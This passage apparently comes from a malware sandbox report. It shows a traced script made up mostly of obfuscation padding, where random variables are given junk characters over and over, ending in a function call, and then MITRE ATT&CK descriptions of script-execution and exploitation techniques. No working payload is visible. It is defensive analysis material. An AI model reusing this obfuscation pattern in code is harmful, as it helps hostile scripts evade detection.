272	kmjmngxx = "A";
273	kmjmngxx = "P";
274	kmjmngxx = "p";
275	kmjmngxx = "m";
276	kmjmngxx = "t";
277	kmjmngxx = "q";
278	kmjmngxx = "D";
279	kmjmngxx = "G";
280	kmjmngxx = "N";
281	kmjmngxx = "H";
282	kmjmngxx = "P";
283	kmjmngxx = "C";
284	kmjmngxx = "I";
285	kmjmngxx = "e";
286	kmjmngxx = "v";
287	kmjmngxx = "7";
288	ramqshhgh = "S";
289	oynitiwg = "S";
290	oynitiwg = "d";
291	zrtabf = "a";
292	zrtabf = "v";
293	fywatarnh = "k";
294	fywatarnh = "i";
295	fywatarnh = "A";
296	fywatarnh = "o";
297	fywatarnh = "S";
298	fywatarnh = "u";
299	fywatarnh = "Z";
300	fywatarnh = "R";
301	fywatarnh = "K";
302	fywatarnh = " ";
303	lohzmsifj = "F";
304	lohzmsifj = "c";
305	lohzmsifj = "b";
306	lohzmsifj = "h";
307	lohzmsifj = "W";
308	lohzmsifj = "X";
309	lohzmsifj = "F";
310	lohzmsifj = "i";
311	lohzmsifj = "C";
312	lohzmsifj = "S";
313	lohzmsifj = "N";
314	lohzmsifj = "m";
315	lohzmsifj = "u";
316	lohzmsifj = "z";
317	lohzmsifj = "b";
318	lohzmsifj = "L";
319	lohzmsifj = "M";
320	lohzmsifj = "F";
321	hkofyo = "F";
322	hkofyo = "H";
323	hkofyo = "U";
324	hkofyo = "n";
325	hkofyo = "O";
326	hkofyo = "D";
327	hkofyo = "s";
328	hkofyo = "Q";
329	hkofyo = "M";
330	hkofyo = "g";
331	hkofyo = "s";
332	hkofyo = "s";
333	hkofyo = "u";
334	hkofyo = "g";
335	hkofyo = "M";
336	hkofyo = "F";
337	hkofyo = "J";
338	hkofyo = "l";
339	hkofyo = "I";
340	hkofyo = "E";
341	hkofyo = "y";
342	hkofyo = "b";
343	hkofyo = "V";
344	hkofyo = "Q";
345	hkofyo = "H";
346	hkofyo = "q";
347	hkofyo = "W";
348	hkofyo = "o";
349	hkofyo = "H";
350	hkofyo = "B";
351	hkofyo = "D";
352	hkofyo = "L";
353	hkofyo = "l";
354	hkofyo = "T";
355	hkofyo = "o";
356	hkofyo = "W";
357	hkofyo = "i";
358	hkofyo = "i";
359	hkofyo = "G";
360	hkofyo = "u";
361	hkofyo = "r";
362	hkofyo = "A";
363	hkofyo = "V";
364	hkofyo = "g";
365	hkofyo = "a";
366	ayziz = "U";
367	ayziz = "t";
368	ayziz = "W";
369	ayziz = "D";
370	ayziz = "n";
371	ayziz = "F";
372	ayziz = "P";
373	ayziz = "M";
374	ayziz = "g";
375	ayziz = "c";
376	ayziz = "Z";
377	ayziz = "i";
378	ayziz = "B";
379	ayziz = "W";
380	ayziz = "j";
381	ayziz = "q";
382	ayziz = "h";
383	ayziz = "b";
384	ayziz = "P";
385	ayziz = "V";
386	ayziz = "e";
387	ayziz = "E";
388	ayziz = "U";
389	ayziz = "o";
390	ayziz = "h";
391	kehaxppp = "s";
392	kehaxppp = "u";
393	kehaxppp = "T";
394	kehaxppp = "c";
395	kehaxppp = "G";
396	kehaxppp = "j";
397	kehaxppp = "u";
398	kehaxppp = "A";
399	kehaxppp = "l";
400	kehaxppp = "U";
401	kehaxppp = "f";
402	kehaxppp = "a";
403	kehaxppp = "V";
404	kehaxppp = "J";
405	kehaxppp = "W";
406	kehaxppp = "m";
407	kehaxppp = "W";
408	kehaxppp = "j";
409	riubog = "B";
410	riubog = "Z";
411	riubog = "G";
412	riubog = "u";
413	riubog = "b";
414	riubog = "f";
415	riubog = "q";
416	riubog = "u";
417	kxkchdr = "j";
418	kxkchdr = "c";
419	kxkchdr = "h";
420	kxkchdr = "F";
421	kxkchdr = "p";
422	kxkchdr = "X";
423	kxkchdr = "h";
424	kxkchdr = "S";
425	kxkchdr = "c";
426	kxkchdr = "K";
427	kxkchdr = "C";
428	kxkchdr = "W";
429	kxkchdr = "l";
430	kxkchdr = "U";
431	kxkchdr = "w";
432	kxkchdr = "t";
433	kxkchdr = "b";
434	kxkchdr = "C";
435	kxkchdr = "g";
436	kxkchdr = "C";
437	kxkchdr = "i";
438	kxkchdr = "n";
439	kxkchdr = "Z";
440	kxkchdr = "b";
441	kxkchdr = "S";
442	kxkchdr = "L";
443	kxkchdr = "a";
444	kxkchdr = "Z";
445	kxkchdr = "q";
446	kxkchdr = "G";
447	kxkchdr = "A";
448	kxkchdr = "P";
449	kxkchdr = "F";
450	kxkchdr = "l";
451	kxkchdr = "f";
452	kxkchdr = "U";
453	kxkchdr = "2";
454	ylepyn = "q";
455	ylepyn = "R";
456	ylepyn = "T";
457	ylepyn = "D";
458	ylepyn = "m";
459	ylepyn = "g";
460	ylepyn = "B";
461	ylepyn = "S";
462	ylepyn = "h";
463	ylepyn = "W";
464	ylepyn = "p";
465	ylepyn = "K";
466	ylepyn = "O";
467	ylepyn = "h";
468	ylepyn = "b";
469	ylepyn = "F";
470	ylepyn = "G";
471	ylepyn = "s";
472	ylepyn = "M";
473	ylepyn = "P";
474	ylepyn = "S";
475	ylepyn = "P";
476	ylepyn = "t";
477	ylepyn = "u";
478	ylepyn = "F";
479	ylepyn = "U";
480	vlemevqr = "W";
481	vlemevqr = "q";
482	vlemevqr = "9";
483	usycu = "H";
484	usycu = "Y";
485	usycu = "q";
486	usycu = "K";
487	usycu = "p";
488	usycu = "g";
489	usycu = "t";
490	usycu = "E";
491	usycu = "i";
492	usycu = "g";
493	usycu = "g";
494	usycu = "E";
495	usycu = "i";
496	usycu = "u";
497	usycu = "i";
498	usycu = "H";
499	usycu = "i";
500	usycu = "Y";
501	usycu = "m";
502	usycu = "k";
503	usycu = "p";
504	usycu = "R";
505	usycu = "N";
506	usycu = "q";
507	usycu = "4";
508	crhps = "d";
509	crhps = "E";
510	crhps = "b";
511	crhps = "W";
512	crhps = "D";
513	crhps = "c";
514	crhps = "n";
515	crhps = "h";
516	crhps = "B";
517	crhps = "T";
518	crhps = "N";
519	crhps = "F";
520	crhps = "I";
521	crhps = "W";
522	crhps = "G";
523	crhps = "h";
524	crhps = "k";
525	crhps = "g";
526	crhps = "A";
527	crhps = "A";
528	crhps = "T";
529	crhps = "a";
530	crhps = "K";
531	crhps = "5";
532	bwqxry = "q";
533	bwqxry = "w";
534	bwqxry = "h";
535	bwqxry = "t";
536	bwqxry = "W";
537	bwqxry = "f";
538	bwqxry = "O";
539	bwqxry = "z";
540	bwqxry = "m";
541	bwqxry = "j";
542	bwqxry = "p";
543	bwqxry = "P";
544	bwqxry = "a";
545	bwqxry = "C";
546	bwqxry = "e";
547	bwqxry = "b";
548	bwqxry = "k";
549	bwqxry = "T";
550	bwqxry = "O";
551	hnvwd = "T";
552	hnvwd = "c";
553	hnvwd = "n";
554	hnvwd = "G";
555	hnvwd = "U";
556	hnvwd = "L";
557	hnvwd = "B";
558	hnvwd = "y";
559	hnvwd = "g";
560	hnvwd = "I";
561	hnvwd = "Y";
562	hnvwd = "Z";
563	hnvwd = "N";
564	hnvwd = "L";
565	hnvwd = "A";
566	hnvwd = "N";
567	hnvwd = "i";
568	hnvwd = "H";
569	hnvwd = "w";
570	hnvwd = "d";
571	hnvwd = "d";
572	hnvwd = "T";
573	hnvwd = "J";
574	hnvwd = "K";
575	hnvwd = "z";
576	hnvwd = "l";
577	hnvwd = "P";
578	hnvwd = "S";
579	hnvwd = "P";
580	hnvwd = "k";
581	hnvwd = "I";
582	hnvwd = "c";
583	hnvwd = "W";
584	hnvwd = "N";
585	hnvwd = "C";
586	hnvwd = "q";
587	hnvwd = "W";
588	hnvwd = "o";
589	hnvwd = "j";
590	hnvwd = "V";
591	hnvwd = "@";
592	fxsfed = "v";
593	fxsfed = "U";
594	fxsfed = "g";
595	fxsfed = "w";
596	fxsfed = "M";
597	fxsfed = "W";
598	fxsfed = "L";
599	fxsfed = "j";
600	fxsfed = "U";
601	fxsfed = "V";
602	fxsfed = "y";
603	fxsfed = "J";
604	fxsfed = "u";
605	fxsfed = "r";
606	fxsfed = "t";
607	fxsfed = "Z";
608	fxsfed = "S";
609	fxsfed = "G";
610	fxsfed = "L";
611	mtiujzo = "f";
612	mtiujzo = "o";
613	mtiujzo = "3";
614	vpipbs = "X";
615	vpipbs = "j";
616	vpipbs = "8";
617	dysgs = "U";
618	dysgs = "t";
619	dysgs = "J";
620	dysgs = "K";
621	dysgs = "S";
622	dysgs = "i";
623	dysgs = "v";
624	dysgs = "M";
625	dysgs = "U";
626	dysgs = "g";
627	dysgs = "N";
628	dysgs = "s";
629	dysgs = "x";
630	dysgs = "Y";
631	dysgs = "L";
632	dysgs = "l";
633	dysgs = "S";
634	dysgs = "W";
635	dysgs = "B";
636	dysgs = "Y";
637	dysgs = "m";
638	dysgs = "d";
639	dysgs = "&";
640	vdcvjivav = "N";
641	vdcvjivav = "r";
642	vdcvjivav = "N";
643	vdcvjivav = "\"";
644	thxmkytlv = "w";
645	thxmkytlv = "d";
646	thxmkytlv = "W";
647	thxmkytlv = "u";
648	thxmkytlv = "i";
649	thxmkytlv = "s";
650	thxmkytlv = "C";
651	thxmkytlv = "T";
652	thxmkytlv = "Q";
653	thxmkytlv = "X";
654	thxmkytlv = "X";
655	thxmkytlv = "j";
656	thxmkytlv = "l";
657	vqrnkfwwt = "f";
658	vqrnkfwwt = "Z";
659	vqrnkfwwt = "Z";
660	vqrnkfwwt = "K";
661	vqrnkfwwt = "g";
662	vqrnkfwwt = "N";
663	vqrnkfwwt = "Z";
664	vqrnkfwwt = "I";
665	vqrnkfwwt = "V";
666	vqrnkfwwt = "j";
667	vqrnkfwwt = "W";
668	vqrnkfwwt = "s";
669	vqrnkfwwt = "p";
670	eyececpfe = "d";
671	eyececpfe = "E";
672	eyececpfe = "y";
673	eyececpfe = "b";
674	eyececpfe = "j";
675	eyececpfe = "z";
676	eyececpfe = "o";
677	eyececpfe = "l";
678	eyececpfe = "R";
679	eyececpfe = "U";
680	eyececpfe = "s";
681	eyececpfe = "d";
682	eyececpfe = "W";
683	eyececpfe = "F";
684	eyececpfe = "y";
685	eyececpfe = "c";
686	eyececpfe = "z";
687	eyececpfe = "g";
688	eyececpfe = "b";
689	eyececpfe = "k";
690	eyececpfe = "x";
691	eyececpfe = "p";
692	eyececpfe = "G";
693	eyececpfe = "d";
694	eyececpfe = "E";
695	eyececpfe = "G";
696	eyececpfe = "N";
697	eyececpfe = "n";
698	eyececpfe = "r";
699	eyececpfe = "X";
700	eyececpfe = "e";
701	eyececpfe = "E";
702	eyececpfe = "n";
703	eyececpfe = "R";
704	eyececpfe = "A";
705	eyececpfe = "T";
706	eyececpfe = "O";
707	eyececpfe = "g";
708	eyececpfe = "V";
709	eyececpfe = "X";
710	eyececpfe = "G";
711	eyececpfe = "Y";
712	eyececpfe = "u";
713	eyececpfe = "C";
714	yquoyqy = "O";
715	yquoyqy = "Q";
716	yquoyqy = "h";
717	yquoyqy = "F";
718	yquoyqy = "O";
719	yquoyqy = "M";
720	yquoyqy = "Q";
721	yquoyqy = "k";
722	yquoyqy = "O";
723	yquoyqy = "X";
724	yquoyqy = "V";
725	yquoyqy = "Z";
726	yquoyqy = "L";
727	yquoyqy = "Q";
728	yquoyqy = "Y";
729	yquoyqy = "M";
730	yquoyqy = "w";
731	yquoyqy = "i";
732	yquoyqy = "r";
733	yquoyqy = "G";
734	yquoyqy = "r";
735	yquoyqy = "U";
736	yquoyqy = "I";
737	yquoyqy = "L";
738	yquoyqy = "L";
739	yquoyqy = "G";
740	yquoyqy = "O";
741	yquoyqy = "u";
742	yquoyqy = "v";
743	yquoyqy = "x";
744	yquoyqy = "s";
745	yquoyqy = "Y";
746	yquoyqy = "l";
747	yquoyqy = "j";
748	yquoyqy = "N";
749	yquoyqy = "U";
750	yquoyqy = "G";
751	yquoyqy = "H";
752	yquoyqy = "B";
753	yquoyqy = "F";
754	yquoyqy = "o";
755	yquoyqy = "c";
756	yquoyqy = "S";
757	yquoyqy = "i";
758	xljmojlnd = "r";
759	xljmojlnd = "Q";
760	xljmojlnd = "/";
761	oryoaozzf = "B";
762	oryoaozzf = "e";
763	oryoaozzf = "C";
764	oryoaozzf = "i";
765	oryoaozzf = "k";
766	oryoaozzf = "u";
767	oryoaozzf = "B";
768	oryoaozzf = "q";
769	oryoaozzf = "g";
770	oryoaozzf = "Z";
771	oryoaozzf = "K";
772	oryoaozzf = "N";
773	oryoaozzf = "F";
774	oryoaozzf = "C";
775	oryoaozzf = "H";
776	oryoaozzf = "u";
777	oryoaozzf = "j";
778	oryoaozzf = "q";
779	oryoaozzf = "r";
780	oryoaozzf = "c";
781	oryoaozzf = "e";
782	oryoaozzf = "u";
783	oryoaozzf = "m";
784	oryoaozzf = "j";
785	oryoaozzf = "l";
786	oryoaozzf = "I";
787	oryoaozzf = "z";
788	oryoaozzf = "s";
789	oryoaozzf = "K";
790	oryoaozzf = "D";
791	oryoaozzf = "L";
792	oryoaozzf = "O";
793	oryoaozzf = "V";
794	oryoaozzf = "A";
795	oryoaozzf = "C";
796	oryoaozzf = "B";
797	oryoaozzf = "M";
798	oryoaozzf = "L";
799	oryoaozzf = "h";
800	oryoaozzf = "V";
801	oryoaozzf = "N";
802	jmajhnpm = "D";
803	jmajhnpm = "b";
804	jmajhnpm = "R";
805	jmajhnpm = "U";
806	jmajhnpm = "N";
807	jmajhnpm = "S";
808	jmajhnpm = "a";
809	jmajhnpm = "E";
810	jmajhnpm = "q";
811	jmajhnpm = "A";
812	jmajhnpm = "Z";
813	jmajhnpm = "1";
814	kwnoznjg = "u";
815	kwnoznjg = "h";
816	kwnoznjg = "j";
817	kwnoznjg = "R";
818	kwnoznjg = "d";
819	kwnoznjg = "R";
820	kwnoznjg = "n";
821	kwnoznjg = "w";
822	kwnoznjg = "s";
823	kwnoznjg = "P";
824	kwnoznjg = "j";
825	kwnoznjg = "x";
826	kwnoznjg = "i";
827	kwnoznjg = "z";
828	kwnoznjg = "A";
829	kwnoznjg = "s";
830	kwnoznjg = "P";
831	xmeflyk = "u";
832	xmeflyk = "d";
833	xmeflyk = "P";
834	xmeflyk = "I";
835	xmeflyk = "F";
836	xmeflyk = "u";
837	xmeflyk = "u";
838	xmeflyk = "K";
839	xmeflyk = "l";
840	xmeflyk = "Z";
841	xmeflyk = "V";
842	xmeflyk = "k";
843	xmeflyk = "z";
844	xmeflyk = "Y";
845	xmeflyk = "T";
846	xmeflyk = "O";
847	xmeflyk = "J";
848	xmeflyk = "K";
849	xmeflyk = "x";
850	xmeflyk = "F";
851	xmeflyk = "U";
852	xmeflyk = "b";
853	ajnlt = "v";
854	ajnlt = "I";
855	ajnlt = "d";
856	ajnlt = "y";
857	ajnlt = "k";
858	ajnlt = "p";
859	ajnlt = "B";
860	ajnlt = "G";
861	ajnlt = "a";
862	ajnlt = "Z";
863	ajnlt = "d";
864	ajnlt = "l";
865	ajnlt = "J";
866	ajnlt = "j";
867	ajnlt = "k";
868	ajnlt = "J";
869	ajnlt = "m";
870	ajnlt = "i";
871	ajnlt = "i";
872	ajnlt = "n";
873	ajnlt = "z";
874	ajnlt = "F";
875	ajnlt = "p";
876	ajnlt = "A";
877	ajnlt = "s";
878	ajnlt = "c";
879	ajnlt = "J";
880	ajnlt = "X";
881	ajnlt = "K";
882	ajnlt = "D";
883	ajnlt = "L";
884	ajnlt = "w";
885	ajnlt = "y";
886	ajnlt = "L";
887	ajnlt = "r";
888	ajnlt = "E";
889	ajnlt = "y";
890	ajnlt = "s";
891	ajnlt = "E";
892	ajnlt = "p";
893	ajnlt = "I";
894	eouhhjj = "B";
895	eouhhjj = "u";
896	eouhhjj = "y";
897	eouhhjj = "_";
898	rzrtpa = "s";
899	rzrtpa = "H";
900	rzrtpa = "z";
901	rzrtpa = "R";
902	rzrtpa = "V";
903	rzrtpa = "Z";
904	rzrtpa = "t";
905	rzrtpa = "H";
906	rzrtpa = "l";
907	rzrtpa = "Z";
908	rzrtpa = "O";
909	rzrtpa = "i";
910	rzrtpa = "d";
911	rzrtpa = "B";
912	rzrtpa = "v";
913	rzrtpa = "d";
914	rzrtpa = "E";
915	rzrtpa = "l";
916	rzrtpa = "U";
917	rzrtpa = "Y";
918	rzrtpa = "r";
919	rzrtpa = "r";
920	rzrtpa = "Y";
921	rzrtpa = "h";
922	rzrtpa = "V";
923	rzrtpa = "y";
924	rzrtpa = "f";
925	rzrtpa = "d";
926	rzrtpa = "z";
927	rzrtpa = "u";
928	rzrtpa = "y";
929	rzrtpa = "I";
930	rzrtpa = "e";
931	rzrtpa = ":";
932	tgpqnnwm = "I";
933	tgpqnnwm = "K";
934	tgpqnnwm = "l";
935	tgpqnnwm = "A";
936	tgpqnnwm = "g";
937	tgpqnnwm = "D";
938	tgpqnnwm = "P";
939	tgpqnnwm = "J";
940	tgpqnnwm = "l";
941	tgpqnnwm = "z";
942	tgpqnnwm = "a";
943	tgpqnnwm = "x";
944	tgpqnnwm = "Y";
945	tgpqnnwm = "A";
946	tgpqnnwm = "I";
947	tgpqnnwm = "o";
948	tgpqnnwm = "o";
949	tgpqnnwm = "V";
950	tgpqnnwm = "q";
951	tgpqnnwm = "k";
952	okslx = "j";
953	okslx = "Z";
954	okslx = "R";
955	okslx = "m";
956	okslx = "J";
957	okslx = "L";
958	okslx = "s";
959	okslx = "q";
960	okslx = "D";
961	okslx = "U";
962	okslx = "o";
963	okslx = "N";
964	okslx = "X";
965	okslx = "U";
966	okslx = "u";
967	okslx = "D";
968	okslx = "A";
969	okslx = "x";
970	okslx = "X";
971	okslx = "z";
972	okslx = "C";
973	okslx = "X";
974	okslx = "j";
975	okslx = "D";
976	okslx = "Q";
977	okslx = "T";
978	okslx = "M";
979	okslx = "o";
980	okslx = "q";
981	okslx = "e";
982	okslx = "K";
983	okslx = "C";
984	okslx = "v";
985	okslx = "a";
986	okslx = "i";
987	okslx = "P";
988	okslx = "R";
989	okslx = "X";
990	okslx = "f";
991	okslx = "E";
992	okslx = "-";
993	nurbdfn = "z";
994	nurbdfn = "Q";
995	nurbdfn = "F";
996	nurbdfn = "S";
997	nurbdfn = "j";
998	nurbdfn = "v";
999	nurbdfn = "e";
1000	nurbdfn = "x";
1001	nurbdfn = "O";
1002	nurbdfn = "Z";
1003	nurbdfn = "W";
1004	nurbdfn = "q";
1005	nurbdfn = "m";
1006	nurbdfn = "y";
1007	nurbdfn = "I";
1008	nurbdfn = "r";
1009	nurbdfn = "J";
1010	nurbdfn = "v";
1011	nurbdfn = "N";
1012	nurbdfn = "z";
1013	nurbdfn = "Y";
1014	nurbdfn = "k";
1015	nurbdfn = "z";
1016	nurbdfn = "C";
1017	nurbdfn = "N";
1018	nurbdfn = "K";
1019	nurbdfn = "g";
1020	nurbdfn = "F";
1021	nurbdfn = "s";
1022	nurbdfn = "n";
1023	nurbdfn = "U";
1024	nurbdfn = "X";
1025	nurbdfn = "g";
1026	nurbdfn = "n";
1027	nurbdfn = "b";
1028	nurbdfn = "T";
1029	nurbdfn = "k";
1030	nurbdfn = "A";
1031	nurbdfn = "l";
1032	nurbdfn = "l";
1033	nurbdfn = "M";
1034	nurbdfn = "b";
1035	nurbdfn = "x";
1036	tahigq = "O";
1037	tahigq = "F";
1038	tahigq = "k";
1039	tahigq = "a";
1040	tahigq = "W";
1041	tahigq = "i";
1042	tahigq = "k";
1043	tahigq = "n";
1044	tahigq = "E";
1045	tahigq = "b";
1046	tahigq = "F";
1047	tahigq = "S";
1048	tahigq = "J";
1049	tahigq = "J";
1050	tahigq = "g";
1051	tahigq = "s";
1052	tahigq = "H";
1053	tahigq = "c";
1054	tahigq = "S";
1055	tahigq = "k";
1056	tahigq = "W";
1057	tahigq = "S";
1058	tahigq = "R";
1059	fjvbfa = "F";
1060	fjvbfa = "x";
1061	fjvbfa = "y";
1062	fjvbfa = "o";
1063	fjvbfa = "C";
1064	fjvbfa = "r";
1065	fjvbfa = "M";
1066	fjvbfa = "C";
1067	fjvbfa = "H";
1068	fjvbfa = "L";
1069	fjvbfa = "J";
1070	fjvbfa = "F";
1071	fjvbfa = "k";
1072	fjvbfa = "J";
1073	fjvbfa = "v";
1074	fjvbfa = "j";
1075	fjvbfa = "f";
1076	fjvbfa = "g";
1077	fjvbfa = "L";
1078	fjvbfa = "n";
1079	fjvbfa = "P";
1080	fjvbfa = "I";
1081	fjvbfa = "m";
1082	fjvbfa = "d";
1083	fjvbfa = "Z";
1084	fjvbfa = "Z";
1085	fjvbfa = "S";
1086	fjvbfa = "y";
1087	fjvbfa = "p";
1088	fjvbfa = "R";
1089	fjvbfa = "g";
1090	fjvbfa = "k";
1091	fjvbfa = "l";
1092	fjvbfa = "E";
1093	fjvbfa = "w";
1094	fjvbfa = "q";
1095	nykhsz = "D";
1096	nykhsz = "L";
1097	nykhsz = "z";
1098	nykhsz = "a";
1099	nykhsz = "h";
1100	nykhsz = "e";
1101	nykhsz = "r";
1102	nykhsz = "u";
1103	nykhsz = "Z";
1104	nykhsz = "l";
1105	nykhsz = "n";
1106	nykhsz = "D";
1107	nykhsz = "g";
1108	nykhsz = "J";
1109	nykhsz = "v";
1110	nykhsz = "Q";
1111	nykhsz = "T";
1112	dhbuewcy = "G";
1113	dhbuewcy = "z";
1114	dhbuewcy = "V";
1115	dhbuewcy = "V";
1116	dhbuewcy = "H";
1117	dhbuewcy = "a";
1118	dhbuewcy = "Z";
1119	dhbuewcy = "F";
1120	dhbuewcy = "R";
1121	dhbuewcy = "j";
1122	dhbuewcy = "l";
1123	dhbuewcy = "O";
1124	dhbuewcy = "a";
1125	dhbuewcy = "c";
1126	dhbuewcy = "X";
1127	dhbuewcy = "C";
1128	dhbuewcy = "d";
1129	dhbuewcy = "i";
1130	dhbuewcy = "w";
1131	dhbuewcy = "X";
1132	dhbuewcy = "I";
1133	dhbuewcy = "U";
1134	dhbuewcy = "m";
1135	dhbuewcy = "E";
1136	dhbuewcy = "z";
1137	dhbuewcy = "u";
1138	dhbuewcy = "d";
1139	dhbuewcy = "n";
1140	dhbuewcy = "o";
1141	dhbuewcy = "Q";
1142	dhbuewcy = "a";
1143	dhbuewcy = "L";
1144	dhbuewcy = "c";
1145	dhbuewcy = "V";
1146	dhbuewcy = "j";
1147	dhbuewcy = "g";
1148	dhbuewcy = "t";
1149	dsfegrv = "P";
1150	dsfegrv = "i";
1151	dsfegrv = "r";
1152	bwijuff = "i";
1153	bwijuff = "y";
1154	bwijuff = "B";
1155	bwijuff = "g";
1156	bwijuff = "M";
1157	bwijuff = "z";
1158	bwijuff = "n";
1159	bwijuff = "F";
1160	bwijuff = "W";
1161	bwijuff = "C";
1162	bwijuff = "r";
1163	bwijuff = "R";
1164	bwijuff = "u";
1165	bwijuff = "e";
1166	bwijuff = "b";
1167	bwijuff = "Q";
1168	bwijuff = "J";
1169	bwijuff = "R";
1170	bwijuff = "i";
1171	bwijuff = "h";
1172	bwijuff = "z";
1173	bwijuff = "X";
1174	bwijuff = "Y";
1175	ohgloacg = "F";
1176	ohgloacg = "K";
1177	diqxznyy = "u";
1178	diqxznyy = "p";
1179	diqxznyy = "U";
1180	diqxznyy = "e";
1181	diqxznyy = "c";
1182	diqxznyy = "t";
1183	diqxznyy = "X";
1184	diqxznyy = "Y";
1185	diqxznyy = "N";
1186	diqxznyy = "y";
1187	diqxznyy = "T";
1188	diqxznyy = "v";
1189	diqxznyy = "X";
1190	diqxznyy = "M";
1191	diqxznyy = "z";
1192	diqxznyy = "r";
1193	diqxznyy = "s";
1194	diqxznyy = "w";
1195	diqxznyy = "i";
1196	diqxznyy = "H";
1197	diqxznyy = "m";
1198	diqxznyy = "t";
1199	diqxznyy = "B";
1200	diqxznyy = ".";
1201	iwbxzbqsz = "j";
1202	iwbxzbqsz = "w";
1203	iwbxzbqsz = "O";
1204	iwbxzbqsz = "J";
1205	iwbxzbqsz = "A";
1206	iwbxzbqsz = "Y";
1207	iwbxzbqsz = "S";
1208	iwbxzbqsz = "T";
1209	iwbxzbqsz = "m";
1210	iwbxzbqsz = "W";
1211	iwbxzbqsz = "b";
1212	iwbxzbqsz = "P";
1213	iwbxzbqsz = "S";
1214	iwbxzbqsz = "v";
1215	iwbxzbqsz = "M";
1216	iwbxzbqsz = "U";
1217	iwbxzbqsz = "B";
1218	iwbxzbqsz = "L";
1219	iwbxzbqsz = "x";
1220	iwbxzbqsz = "x";
1221	iwbxzbqsz = "Z";
1222	iwbxzbqsz = "L";
1223	iwbxzbqsz = "s";
1224	iwbxzbqsz = "d";
1225	iwbxzbqsz = "o";
1226	iwbxzbqsz = "B";
1227	iwbxzbqsz = "H";
1228	iwbxzbqsz = "e";
1229	iwbxzbqsz = "j";
1230	iwbxzbqsz = "l";
1231	iwbxzbqsz = "V";
1232	iwbxzbqsz = "D";
1233	iwbxzbqsz = "P";
1234	iwbxzbqsz = "C";
1235	iwbxzbqsz = "S";
1236	iwbxzbqsz = "g";
1237	yevlncg = "n";
1238	yevlncg = "h";
1239	yevlncg = "R";
1240	yevlncg = "a";
1241	yevlncg = "h";
1242	yevlncg = "J";
1243	yevlncg = "P";
1244	yevlncg = "E";
1245	yevlncg = "D";
1246	yevlncg = "X";
1247	yevlncg = "P";
1248	yevlncg = "T";
1249	yevlncg = "P";
1250	yevlncg = "r";
1251	yevlncg = "d";
1252	yevlncg = "C";
1253	yevlncg = "j";
1254	yevlncg = "E";
1255	yevlncg = "O";
1256	yevlncg = "M";
1257	yevlncg = "a";
1258	yevlncg = "W";
1259	fcdgpdlbo = "q";
1260	fcdgpdlbo = "b";
1261	fcdgpdlbo = "S";
1262	fcdgpdlbo = "H";
1263	fcdgpdlbo = "g";
1264	fcdgpdlbo = "a";
1265	fcdgpdlbo = "N";
1266	fcdgpdlbo = "o";
1267	fcdgpdlbo = "j";
1268	fcdgpdlbo = "e";
1269	fcdgpdlbo = "Y";
1270	fcdgpdlbo = "L";
1271	fcdgpdlbo = "f";
1272	fcdgpdlbo = "Q";
1273	fcdgpdlbo = "C";
1274	fcdgpdlbo = "T";
1275	fcdgpdlbo = "j";
1276	fcdgpdlbo = "I";
1277	fcdgpdlbo = "t";
1278	fcdgpdlbo = "Y";
1279	fcdgpdlbo = "\\";
1280	vjflr = "b";
1281	vjflr = "x";
1282	vjflr = "a";
1283	vjflr = "x";
1284	vjflr = "v";
1285	vjflr = "d";
1286	vjflr = "q";
1287	vjflr = "T";
1288	vjflr = "V";
1289	vjflr = "x";
1290	vjflr = "b";
1291	vjflr = "f";
1292	vjflr = "Z";
1293	vjflr = "v";
1294	vjflr = "s";
1295	vjflr = "G";
1296	vjflr = "y";
1297	vjflr = "F";
1298	vjflr = "X";
1299	vjflr = "Q";
1300	vjflr = "Q";
1301	vjflr = "S";
1302	vjflr = "n";
1303	ujcpmjxt = "f";
1304	ujcpmjxt = "A";
1305	ujcpmjxt = "J";
1306	ujcpmjxt = "M";
1307	ujcpmjxt = "Z";
1308	ujcpmjxt = "b";
1309	ujcpmjxt = "g";
1310	ujcpmjxt = "J";
1311	ujcpmjxt = "x";
1312	ujcpmjxt = "O";
1313	ujcpmjxt = "n";
1314	ujcpmjxt = "q";
1315	ujcpmjxt = "w";
1316	ujcpmjxt = "r";
1317	ujcpmjxt = "m";
1318	ujcpmjxt = "H";
1319	ujcpmjxt = "E";
1320	ujcpmjxt = "n";
1321	ujcpmjxt = "s";
1322	ujcpmjxt = "A";
1323	ujcpmjxt = "U";
1324	ujcpmjxt = "u";
1325	ujcpmjxt = "b";
1326	ujcpmjxt = "R";
1327	ujcpmjxt = "U";
1328	ujcpmjxt = "K";
1329	ujcpmjxt = "K";
1330	ujcpmjxt = "O";
1331	ujcpmjxt = "Q";
1332	ujcpmjxt = "o";
1333	ujcpmjxt = "Q";
1334	ujcpmjxt = "M";
1335	ujcpmjxt = "c";
1336	wkuakwk ( );	wkuakwk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

